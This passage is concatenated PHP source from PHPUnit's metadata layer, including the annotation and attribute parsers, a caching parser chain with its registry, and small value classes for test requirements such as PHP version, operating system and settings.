AnnotationRegistry::getInstance()->forMethod($className, $methodName)->requirements(), 'method', ), ); } catch (InvalidVersionRequirementException $e) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Method %s::%s is annotated using an invalid version requirement: %s', $className, $methodName, $e->getMessage(), ), ); } } return MetadataCollection::fromArray($result); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName * * @throws AnnotationsAreNotSupportedForInternalClassesException * @throws InvalidVersionOperatorException * @throws ReflectionException */ public function forClassAndMethod(string $className, string $methodName): MetadataCollection { return $this->forClass($className)->mergeWith( $this->forMethod($className, $methodName), ); } private function stringToBool(string $value): bool { if ($value === 'enabled') { return true; } return false; } private function cleanUpCoversOrUsesTarget(string $value): string { $value = preg_replace('/[\s()]+$/', '', $value); return explode(' ', $value, 2)[0]; } /** * @throws InvalidVersionOperatorException * * @psalm-return list */ private function parseRequirements(array $requirements, string $level): array { $result = []; if (!empty($requirements['PHP'])) { $versionRequirement = new ComparisonRequirement( $requirements['PHP']['version'], new VersionComparisonOperator(empty($requirements['PHP']['operator']) ? '>=' : $requirements['PHP']['operator']), ); if ($level === 'class') { $result[] = Metadata::requiresPhpOnClass($versionRequirement); } else { $result[] = Metadata::requiresPhpOnMethod($versionRequirement); } } elseif (!empty($requirements['PHP_constraint'])) { $versionRequirement = new ConstraintRequirement($requirements['PHP_constraint']['constraint']); if ($level === 'class') { $result[] = Metadata::requiresPhpOnClass($versionRequirement); } else { $result[] = Metadata::requiresPhpOnMethod($versionRequirement); } } if (!empty($requirements['extensions'])) { foreach ($requirements['extensions'] as $extension) { if (isset($requirements['extension_versions'][$extension])) { continue; } if ($level === 'class') { $result[] = Metadata::requiresPhpExtensionOnClass($extension, null); } else { $result[] = Metadata::requiresPhpExtensionOnMethod($extension, null); } } } if (!empty($requirements['extension_versions'])) { foreach ($requirements['extension_versions'] as $extension => $version) { $versionRequirement = new ComparisonRequirement( $version['version'], new VersionComparisonOperator(empty($version['operator']) ? '>=' : $version['operator']), ); if ($level === 'class') { $result[] = Metadata::requiresPhpExtensionOnClass($extension, $versionRequirement); } else { $result[] = Metadata::requiresPhpExtensionOnMethod($extension, $versionRequirement); } } } if (!empty($requirements['PHPUnit'])) { $versionRequirement = new ComparisonRequirement( $requirements['PHPUnit']['version'], new VersionComparisonOperator(empty($requirements['PHPUnit']['operator']) ? '>=' : $requirements['PHPUnit']['operator']), ); if ($level === 'class') { $result[] = Metadata::requiresPhpunitOnClass($versionRequirement); } else { $result[] = Metadata::requiresPhpunitOnMethod($versionRequirement); } } elseif (!empty($requirements['PHPUnit_constraint'])) { $versionRequirement = new ConstraintRequirement($requirements['PHPUnit_constraint']['constraint']); if ($level === 'class') { $result[] = Metadata::requiresPhpunitOnClass($versionRequirement); } else { $result[] = Metadata::requiresPhpunitOnMethod($versionRequirement); } } if (!empty($requirements['OSFAMILY'])) { if ($level === 'class') { $result[] = Metadata::requiresOperatingSystemFamilyOnClass($requirements['OSFAMILY']); } else { $result[] = Metadata::requiresOperatingSystemFamilyOnMethod($requirements['OSFAMILY']); } } if (!empty($requirements['OS'])) { if ($level === 'class') { $result[] = Metadata::requiresOperatingSystemOnClass($requirements['OS']); } else { $result[] = Metadata::requiresOperatingSystemOnMethod($requirements['OS']); } } if (!empty($requirements['functions'])) { foreach ($requirements['functions'] as $function) { $pieces = explode('::', $function); if (count($pieces) === 2) { if ($level === 'class') { $result[] = Metadata::requiresMethodOnClass($pieces[0], $pieces[1]); } else { $result[] = Metadata::requiresMethodOnMethod($pieces[0], $pieces[1]); } } elseif ($level === 'class') { $result[] = Metadata::requiresFunctionOnClass($function); } else { $result[] = Metadata::requiresFunctionOnMethod($function); } } } if (!empty($requirements['setting'])) { foreach ($requirements['setting'] as $setting => $value) { if ($level === 'class') { $result[] = Metadata::requiresSettingOnClass($setting, $value); } else { $result[] = Metadata::requiresSettingOnMethod($setting, $value); } } } return $result; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Parser; use const JSON_THROW_ON_ERROR; use function assert; use function class_exists; use function json_decode; use function method_exists; use function str_starts_with; use Error; use PHPUnit\Framework\Attributes\After; use PHPUnit\Framework\Attributes\AfterClass; use PHPUnit\Framework\Attributes\BackupGlobals; use PHPUnit\Framework\Attributes\BackupStaticProperties; use PHPUnit\Framework\Attributes\Before; use PHPUnit\Framework\Attributes\BeforeClass; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\CoversFunction; use PHPUnit\Framework\Attributes\CoversNothing; use PHPUnit\Framework\Attributes\DataProvider; use PHPUnit\Framework\Attributes\DataProviderExternal; use PHPUnit\Framework\Attributes\Depends; use PHPUnit\Framework\Attributes\DependsExternal; use PHPUnit\Framework\Attributes\DependsExternalUsingDeepClone; use PHPUnit\Framework\Attributes\DependsExternalUsingShallowClone; use PHPUnit\Framework\Attributes\DependsOnClass; use PHPUnit\Framework\Attributes\DependsOnClassUsingDeepClone; use PHPUnit\Framework\Attributes\DependsOnClassUsingShallowClone; use PHPUnit\Framework\Attributes\DependsUsingDeepClone; use PHPUnit\Framework\Attributes\DependsUsingShallowClone; use PHPUnit\Framework\Attributes\DoesNotPerformAssertions; use PHPUnit\Framework\Attributes\ExcludeGlobalVariableFromBackup; use PHPUnit\Framework\Attributes\ExcludeStaticPropertyFromBackup; use PHPUnit\Framework\Attributes\Group; use PHPUnit\Framework\Attributes\IgnoreClassForCodeCoverage; use PHPUnit\Framework\Attributes\IgnoreDeprecations; use PHPUnit\Framework\Attributes\IgnoreFunctionForCodeCoverage; use PHPUnit\Framework\Attributes\IgnoreMethodForCodeCoverage; use PHPUnit\Framework\Attributes\Large; use PHPUnit\Framework\Attributes\Medium; use PHPUnit\Framework\Attributes\PostCondition; use PHPUnit\Framework\Attributes\PreCondition; use PHPUnit\Framework\Attributes\PreserveGlobalState; use PHPUnit\Framework\Attributes\RequiresFunction; use PHPUnit\Framework\Attributes\RequiresMethod; use PHPUnit\Framework\Attributes\RequiresOperatingSystem; use PHPUnit\Framework\Attributes\RequiresOperatingSystemFamily; use PHPUnit\Framework\Attributes\RequiresPhp; use PHPUnit\Framework\Attributes\RequiresPhpExtension; use PHPUnit\Framework\Attributes\RequiresPhpunit; use PHPUnit\Framework\Attributes\RequiresSetting; use PHPUnit\Framework\Attributes\RunClassInSeparateProcess; use PHPUnit\Framework\Attributes\RunInSeparateProcess; use PHPUnit\Framework\Attributes\RunTestsInSeparateProcesses; use PHPUnit\Framework\Attributes\Small; use PHPUnit\Framework\Attributes\Test; use PHPUnit\Framework\Attributes\TestDox; use PHPUnit\Framework\Attributes\TestWith; use PHPUnit\Framework\Attributes\TestWithJson; use PHPUnit\Framework\Attributes\Ticket; use PHPUnit\Framework\Attributes\UsesClass; use PHPUnit\Framework\Attributes\UsesFunction; use PHPUnit\Framework\Attributes\WithoutErrorHandler; use PHPUnit\Metadata\InvalidAttributeException; use PHPUnit\Metadata\Metadata; use PHPUnit\Metadata\MetadataCollection; use PHPUnit\Metadata\Version\Requirement; use ReflectionClass; use ReflectionMethod; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class AttributeParser implements Parser { /** * @psalm-param class-string $className */ public function forClass(string $className): MetadataCollection { assert(class_exists($className)); $reflector = new ReflectionClass($className); $result = []; foreach ($reflector->getAttributes() as $attribute) { if (!str_starts_with($attribute->getName(), 'PHPUnit\\Framework\\Attributes\\')) { continue; } if (!class_exists($attribute->getName())) { continue; } try { $attributeInstance = $attribute->newInstance(); } catch (Error $e) { throw new InvalidAttributeException( $attribute->getName(), 'class ' . $className, $reflector->getFileName(), $reflector->getStartLine(), $e->getMessage(), ); } switch ($attribute->getName()) { case BackupGlobals::class: assert($attributeInstance instanceof BackupGlobals); $result[] = Metadata::backupGlobalsOnClass($attributeInstance->enabled()); break; case BackupStaticProperties::class: assert($attributeInstance instanceof BackupStaticProperties); $result[] = Metadata::backupStaticPropertiesOnClass($attributeInstance->enabled()); break; case CoversClass::class: assert($attributeInstance instanceof CoversClass); $result[] = Metadata::coversClass($attributeInstance->className()); break; case CoversFunction::class: assert($attributeInstance instanceof CoversFunction); $result[] = Metadata::coversFunction($attributeInstance->functionName()); break; case CoversNothing::class: $result[] = Metadata::coversNothingOnClass(); break; case DoesNotPerformAssertions::class: $result[] = Metadata::doesNotPerformAssertionsOnClass(); break; case ExcludeGlobalVariableFromBackup::class: assert($attributeInstance instanceof ExcludeGlobalVariableFromBackup); $result[] = Metadata::excludeGlobalVariableFromBackupOnClass($attributeInstance->globalVariableName()); break; case ExcludeStaticPropertyFromBackup::class: assert($attributeInstance instanceof ExcludeStaticPropertyFromBackup); $result[] = Metadata::excludeStaticPropertyFromBackupOnClass( $attributeInstance->className(), $attributeInstance->propertyName(), ); break; case Group::class: assert($attributeInstance instanceof Group); $result[] = Metadata::groupOnClass($attributeInstance->name()); break; case Large::class: $result[] = Metadata::groupOnClass('large'); break; case Medium::class: $result[] = Metadata::groupOnClass('medium'); break; case IgnoreClassForCodeCoverage::class: assert($attributeInstance instanceof IgnoreClassForCodeCoverage); $result[] = Metadata::ignoreClassForCodeCoverage($attributeInstance->className()); break; case IgnoreDeprecations::class: assert($attributeInstance instanceof IgnoreDeprecations); $result[] = Metadata::ignoreDeprecationsOnClass(); break; case IgnoreMethodForCodeCoverage::class: assert($attributeInstance instanceof IgnoreMethodForCodeCoverage); $result[] = Metadata::ignoreMethodForCodeCoverage($attributeInstance->className(), $attributeInstance->methodName()); break; case IgnoreFunctionForCodeCoverage::class: assert($attributeInstance instanceof IgnoreFunctionForCodeCoverage); $result[] = Metadata::ignoreFunctionForCodeCoverage($attributeInstance->functionName()); break; case PreserveGlobalState::class: assert($attributeInstance instanceof PreserveGlobalState); $result[] = Metadata::preserveGlobalStateOnClass($attributeInstance->enabled()); break; case RequiresMethod::class: assert($attributeInstance instanceof RequiresMethod); $result[] = Metadata::requiresMethodOnClass( $attributeInstance->className(), $attributeInstance->methodName(), ); break; case RequiresFunction::class: assert($attributeInstance instanceof RequiresFunction); $result[] = Metadata::requiresFunctionOnClass($attributeInstance->functionName()); break; case RequiresOperatingSystem::class: assert($attributeInstance instanceof RequiresOperatingSystem); $result[] = Metadata::requiresOperatingSystemOnClass($attributeInstance->regularExpression()); break; case RequiresOperatingSystemFamily::class: assert($attributeInstance instanceof RequiresOperatingSystemFamily); $result[] = Metadata::requiresOperatingSystemFamilyOnClass($attributeInstance->operatingSystemFamily()); break; case RequiresPhp::class: assert($attributeInstance instanceof RequiresPhp); $result[] = Metadata::requiresPhpOnClass( Requirement::from( $attributeInstance->versionRequirement(), ), ); break; case RequiresPhpExtension::class: assert($attributeInstance instanceof RequiresPhpExtension); $versionConstraint = null; $versionRequirement = $attributeInstance->versionRequirement(); if ($versionRequirement !== null) { $versionConstraint = Requirement::from($versionRequirement); } $result[] = Metadata::requiresPhpExtensionOnClass( $attributeInstance->extension(), $versionConstraint, ); break; case RequiresPhpunit::class: assert($attributeInstance instanceof RequiresPhpunit); $result[] = Metadata::requiresPhpunitOnClass( Requirement::from( $attributeInstance->versionRequirement(), ), ); break; case RequiresSetting::class: assert($attributeInstance instanceof RequiresSetting); $result[] = Metadata::requiresSettingOnClass( $attributeInstance->setting(), $attributeInstance->value(), ); break; case RunClassInSeparateProcess::class: $result[] = Metadata::runClassInSeparateProcess(); break; case RunTestsInSeparateProcesses::class: $result[] = Metadata::runTestsInSeparateProcesses(); break; case Small::class: $result[] = Metadata::groupOnClass('small'); break; case TestDox::class: assert($attributeInstance instanceof TestDox); $result[] = Metadata::testDoxOnClass($attributeInstance->text()); break; case Ticket::class: assert($attributeInstance instanceof Ticket); $result[] = Metadata::groupOnClass($attributeInstance->text()); break; case UsesClass::class: assert($attributeInstance instanceof UsesClass); $result[] = Metadata::usesClass($attributeInstance->className()); break; case UsesFunction::class: assert($attributeInstance instanceof UsesFunction); $result[] = Metadata::usesFunction($attributeInstance->functionName()); break; } } return MetadataCollection::fromArray($result); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function forMethod(string $className, string $methodName): MetadataCollection { assert(class_exists($className)); assert(method_exists($className, $methodName)); $reflector = new ReflectionMethod($className, $methodName); $result = []; foreach ($reflector->getAttributes() as $attribute) { if (!str_starts_with($attribute->getName(), 'PHPUnit\\Framework\\Attributes\\')) { continue; } if (!class_exists($attribute->getName())) { continue; } try { $attributeInstance = $attribute->newInstance(); } catch (Error $e) { throw new InvalidAttributeException( $attribute->getName(), 'method ' . $className . '::' . $methodName . '()', $reflector->getFileName(), $reflector->getStartLine(), $e->getMessage(), ); } switch ($attribute->getName()) { case After::class: $result[] = Metadata::after(); break; case AfterClass::class: $result[] = Metadata::afterClass(); break; case BackupGlobals::class: assert($attributeInstance instanceof BackupGlobals); $result[] = Metadata::backupGlobalsOnMethod($attributeInstance->enabled()); break; case BackupStaticProperties::class: assert($attributeInstance instanceof BackupStaticProperties); $result[] = Metadata::backupStaticPropertiesOnMethod($attributeInstance->enabled()); break; case Before::class: $result[] = Metadata::before(); break; case BeforeClass::class: $result[] = Metadata::beforeClass(); break; case CoversNothing::class: $result[] = Metadata::coversNothingOnMethod(); break; case DataProvider::class: assert($attributeInstance instanceof DataProvider); $result[] = Metadata::dataProvider($className, $attributeInstance->methodName()); break; case DataProviderExternal::class: assert($attributeInstance instanceof DataProviderExternal); $result[] = Metadata::dataProvider($attributeInstance->className(), $attributeInstance->methodName()); break; case Depends::class: assert($attributeInstance instanceof Depends); $result[] = Metadata::dependsOnMethod($className, $attributeInstance->methodName(), false, false); break; case DependsUsingDeepClone::class: assert($attributeInstance instanceof DependsUsingDeepClone); $result[] = Metadata::dependsOnMethod($className, $attributeInstance->methodName(), true, false); break; case DependsUsingShallowClone::class: assert($attributeInstance instanceof DependsUsingShallowClone); $result[] = Metadata::dependsOnMethod($className, $attributeInstance->methodName(), false, true); break; case DependsExternal::class: assert($attributeInstance instanceof DependsExternal); $result[] = Metadata::dependsOnMethod($attributeInstance->className(), $attributeInstance->methodName(), false, false); break; case DependsExternalUsingDeepClone::class: assert($attributeInstance instanceof DependsExternalUsingDeepClone); $result[] = Metadata::dependsOnMethod($attributeInstance->className(), $attributeInstance->methodName(), true, false); break; case DependsExternalUsingShallowClone::class: assert($attributeInstance instanceof DependsExternalUsingShallowClone); $result[] = Metadata::dependsOnMethod($attributeInstance->className(), $attributeInstance->methodName(), false, true); break; case DependsOnClass::class: assert($attributeInstance instanceof DependsOnClass); $result[] = Metadata::dependsOnClass($attributeInstance->className(), false, false); break; case DependsOnClassUsingDeepClone::class: assert($attributeInstance instanceof DependsOnClassUsingDeepClone); $result[] = Metadata::dependsOnClass($attributeInstance->className(), true, false); break; case DependsOnClassUsingShallowClone::class: assert($attributeInstance instanceof DependsOnClassUsingShallowClone); $result[] = Metadata::dependsOnClass($attributeInstance->className(), false, true); break; case DoesNotPerformAssertions::class: assert($attributeInstance instanceof DoesNotPerformAssertions); $result[] = Metadata::doesNotPerformAssertionsOnMethod(); break; case ExcludeGlobalVariableFromBackup::class: assert($attributeInstance instanceof ExcludeGlobalVariableFromBackup); $result[] = Metadata::excludeGlobalVariableFromBackupOnMethod($attributeInstance->globalVariableName()); break; case ExcludeStaticPropertyFromBackup::class: assert($attributeInstance instanceof ExcludeStaticPropertyFromBackup); $result[] = Metadata::excludeStaticPropertyFromBackupOnMethod( $attributeInstance->className(), $attributeInstance->propertyName(), ); break; case Group::class: assert($attributeInstance instanceof Group); $result[] = Metadata::groupOnMethod($attributeInstance->name()); break; case IgnoreDeprecations::class: assert($attributeInstance instanceof IgnoreDeprecations); $result[] = Metadata::ignoreDeprecationsOnMethod(); break; case PostCondition::class: $result[] = Metadata::postCondition(); break; case PreCondition::class: $result[] = Metadata::preCondition(); break; case PreserveGlobalState::class: assert($attributeInstance instanceof PreserveGlobalState); $result[] = Metadata::preserveGlobalStateOnMethod($attributeInstance->enabled()); break; case RequiresMethod::class: assert($attributeInstance instanceof RequiresMethod); $result[] = Metadata::requiresMethodOnMethod( $attributeInstance->className(), $attributeInstance->methodName(), ); break; case RequiresFunction::class: assert($attributeInstance instanceof RequiresFunction); $result[] = Metadata::requiresFunctionOnMethod($attributeInstance->functionName()); break; case RequiresOperatingSystem::class: assert($attributeInstance instanceof RequiresOperatingSystem); $result[] = Metadata::requiresOperatingSystemOnMethod($attributeInstance->regularExpression()); break; case RequiresOperatingSystemFamily::class: assert($attributeInstance instanceof RequiresOperatingSystemFamily); $result[] = Metadata::requiresOperatingSystemFamilyOnMethod($attributeInstance->operatingSystemFamily()); break; case RequiresPhp::class: assert($attributeInstance instanceof RequiresPhp); $result[] = Metadata::requiresPhpOnMethod( Requirement::from( $attributeInstance->versionRequirement(), ), ); break; case RequiresPhpExtension::class: assert($attributeInstance instanceof RequiresPhpExtension); $versionConstraint = null; $versionRequirement = $attributeInstance->versionRequirement(); if ($versionRequirement !== null) { $versionConstraint = Requirement::from($versionRequirement); } $result[] = Metadata::requiresPhpExtensionOnMethod( $attributeInstance->extension(), $versionConstraint, ); break; case RequiresPhpunit::class: assert($attributeInstance instanceof RequiresPhpunit); $result[] = Metadata::requiresPhpunitOnMethod( Requirement::from( $attributeInstance->versionRequirement(), ), ); break; case RequiresSetting::class: assert($attributeInstance instanceof RequiresSetting); $result[] = Metadata::requiresSettingOnMethod( $attributeInstance->setting(), $attributeInstance->value(), ); break; case RunInSeparateProcess::class: $result[] = Metadata::runInSeparateProcess(); break; case Test::class: $result[] = Metadata::test(); break; case TestDox::class: assert($attributeInstance instanceof TestDox); $result[] = Metadata::testDoxOnMethod($attributeInstance->text()); break; case TestWith::class: assert($attributeInstance instanceof TestWith); $result[] = Metadata::testWith($attributeInstance->data()); break; case TestWithJson::class: assert($attributeInstance instanceof TestWithJson); $result[] = Metadata::testWith(json_decode($attributeInstance->json(), true, 512, JSON_THROW_ON_ERROR)); break; case Ticket::class: assert($attributeInstance instanceof Ticket); $result[] = Metadata::groupOnMethod($attributeInstance->text()); break; case WithoutErrorHandler::class: assert($attributeInstance instanceof WithoutErrorHandler); $result[] = Metadata::withoutErrorHandler(); break; } } return MetadataCollection::fromArray($result); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function forClassAndMethod(string $className, string $methodName): MetadataCollection { return $this->forClass($className)->mergeWith( $this->forMethod($className, $methodName), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Parser; use function assert; use function class_exists; use function method_exists; use PHPUnit\Metadata\MetadataCollection; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CachingParser implements Parser { private readonly Parser $reader; private array $classCache = []; private array $methodCache = []; private array $classAndMethodCache = []; public function __construct(Parser $reader) { $this->reader = $reader; } /** * @psalm-param class-string $className */ public function forClass(string $className): MetadataCollection { assert(class_exists($className)); if (isset($this->classCache[$className])) { return $this->classCache[$className]; } $this->classCache[$className] = $this->reader->forClass($className); return $this->classCache[$className]; } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function forMethod(string $className, string $methodName): MetadataCollection { assert(class_exists($className)); assert(method_exists($className, $methodName)); $key = $className . '::' . $methodName; if (isset($this->methodCache[$key])) { return $this->methodCache[$key]; } $this->methodCache[$key] = $this->reader->forMethod($className, $methodName); return $this->methodCache[$key]; } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function forClassAndMethod(string $className, string $methodName): MetadataCollection { $key = $className . '::' . $methodName; if (isset($this->classAndMethodCache[$key])) { return $this->classAndMethodCache[$key]; } $this->classAndMethodCache[$key] = $this->forClass($className)->mergeWith( $this->forMethod($className, $methodName), ); return $this->classAndMethodCache[$key]; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Parser; use PHPUnit\Metadata\MetadataCollection; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Parser { /** * @psalm-param class-string $className */ public function forClass(string $className): MetadataCollection; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function forMethod(string $className, string $methodName): MetadataCollection; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function forClassAndMethod(string $className, string $methodName): MetadataCollection; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Parser; use function assert; use function class_exists; use function method_exists; use PHPUnit\Metadata\MetadataCollection; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ParserChain implements Parser { private readonly Parser $attributeReader; private readonly Parser $annotationReader; public function __construct(Parser $attributeReader, Parser $annotationReader) { $this->attributeReader = $attributeReader; $this->annotationReader = $annotationReader; } /** * @psalm-param class-string $className */ public function forClass(string $className): MetadataCollection { assert(class_exists($className)); $metadata = $this->attributeReader->forClass($className); if (!$metadata->isEmpty()) { return $metadata; } return $this->annotationReader->forClass($className); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function forMethod(string $className, string $methodName): MetadataCollection { assert(class_exists($className)); assert(method_exists($className, $methodName)); $metadata = $this->attributeReader->forMethod($className, $methodName); if (!$metadata->isEmpty()) { return $metadata; } return $this->annotationReader->forMethod($className, $methodName); } /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function forClassAndMethod(string $className, string $methodName): MetadataCollection { return $this->forClass($className)->mergeWith( $this->forMethod($className, $methodName), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata\Parser; /** * Attribute and annotation information is static within a single PHP process. * It is therefore okay to use a Singleton registry here. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Registry { private static ?Parser $instance = null; public static function parser(): Parser { return self::$instance ?? self::$instance = self::build(); } private static function build(): Parser { return new CachingParser( new ParserChain( new AttributeParser, new AnnotationParser, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PostCondition extends Metadata { /** * @psalm-assert-if-true PostCondition $this */ public function isPostCondition(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PreCondition extends Metadata { /** * @psalm-assert-if-true PreCondition $this */ public function isPreCondition(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PreserveGlobalState extends Metadata { private readonly bool $enabled; /** * @psalm-param 0|1 $level */ protected function __construct(int $level, bool $enabled) { parent::__construct($level); $this->enabled = $enabled; } /** * @psalm-assert-if-true PreserveGlobalState $this */ public function isPreserveGlobalState(): bool { return true; } public function enabled(): bool { return $this->enabled; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RequiresFunction extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $functionName; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $functionName */ protected function __construct(int $level, string $functionName) { parent::__construct($level); $this->functionName = $functionName; } /** * @psalm-assert-if-true RequiresFunction $this */ public function isRequiresFunction(): bool { return true; } /** * @psalm-return non-empty-string */ public function functionName(): string { return $this->functionName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RequiresMethod extends Metadata { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param 0|1 $level * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ protected function __construct(int $level, string $className, string $methodName) { parent::__construct($level); $this->className = $className; $this->methodName = $methodName; } /** * @psalm-assert-if-true RequiresMethod $this */ public function isRequiresMethod(): bool { return true; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RequiresOperatingSystem extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $operatingSystem; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $operatingSystem */ public function __construct(int $level, string $operatingSystem) { parent::__construct($level); $this->operatingSystem = $operatingSystem; } /** * @psalm-assert-if-true RequiresOperatingSystem $this */ public function isRequiresOperatingSystem(): bool { return true; } /** * @psalm-return non-empty-string */ public function operatingSystem(): string { return $this->operatingSystem; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RequiresOperatingSystemFamily extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $operatingSystemFamily; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $operatingSystemFamily */ protected function __construct(int $level, string $operatingSystemFamily) { parent::__construct($level); $this->operatingSystemFamily = $operatingSystemFamily; } /** * @psalm-assert-if-true RequiresOperatingSystemFamily $this */ public function isRequiresOperatingSystemFamily(): bool { return true; } /** * @psalm-return non-empty-string */ public function operatingSystemFamily(): string { return $this->operatingSystemFamily; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; use PHPUnit\Metadata\Version\Requirement; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RequiresPhp extends Metadata { private readonly Requirement $versionRequirement; /** * @psalm-param 0|1 $level */ protected function __construct(int $level, Requirement $versionRequirement) { parent::__construct($level); $this->versionRequirement = $versionRequirement; } /** * @psalm-assert-if-true RequiresPhp $this */ public function isRequiresPhp(): bool { return true; } public function versionRequirement(): Requirement { return $this->versionRequirement; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; use PHPUnit\Metadata\Version\Requirement; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RequiresPhpExtension extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $extension; private readonly ?Requirement $versionRequirement; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $extension */ protected function __construct(int $level, string $extension, ?Requirement $versionRequirement) { parent::__construct($level); $this->extension = $extension; $this->versionRequirement = $versionRequirement; } /** * @psalm-assert-if-true RequiresPhpExtension $this */ public function isRequiresPhpExtension(): bool { return true; } /** * @psalm-return non-empty-string */ public function extension(): string { return $this->extension; } /** * @psalm-assert-if-true !null $this->versionRequirement */ public function hasVersionRequirement(): bool { return $this->versionRequirement !== null; } /** * @throws NoVersionRequirementException */ public function versionRequirement(): Requirement { if ($this->versionRequirement === null) { throw new NoVersionRequirementException; } return $this->versionRequirement; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; use PHPUnit\Metadata\Version\Requirement; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RequiresPhpunit extends Metadata { private readonly Requirement $versionRequirement; /** * @psalm-param 0|1 $level */ protected function __construct(int $level, Requirement $versionRequirement) { parent::__construct($level); $this->versionRequirement = $versionRequirement; } /** * @psalm-assert-if-true RequiresPhpunit $this */ public function isRequiresPhpunit(): bool { return true; } public function versionRequirement(): Requirement { return $this->versionRequirement; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RequiresSetting extends Metadata { /** * @psalm-var non-empty-string */ private readonly string $setting; /** * @psalm-var non-empty-string */ private readonly string $value; /** * @psalm-param 0|1 $level * @psalm-param non-empty-string $setting * @psalm-param non-empty-string $value */ protected function __construct(int $level, string $setting, string $value) { parent::__construct($level); $this->setting = $setting; $this->value = $value; } /** * @psalm-assert-if-true RequiresSetting $this */ public function isRequiresSetting(): bool { return true; } /** * @psalm-return non-empty-string */ public function setting(): string { return $this->setting; } /** * @psalm-return non-empty-string */ public function value(): string { return $this->value; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RunClassInSeparateProcess extends Metadata { /** * @psalm-assert-if-true RunClassInSeparateProcess $this */ public function isRunClassInSeparateProcess(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RunInSeparateProcess extends Metadata { /** * @psalm-assert-if-true RunInSeparateProcess $this */ public function isRunInSeparateProcess(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Metadata; /** * @psalm-immutable * * 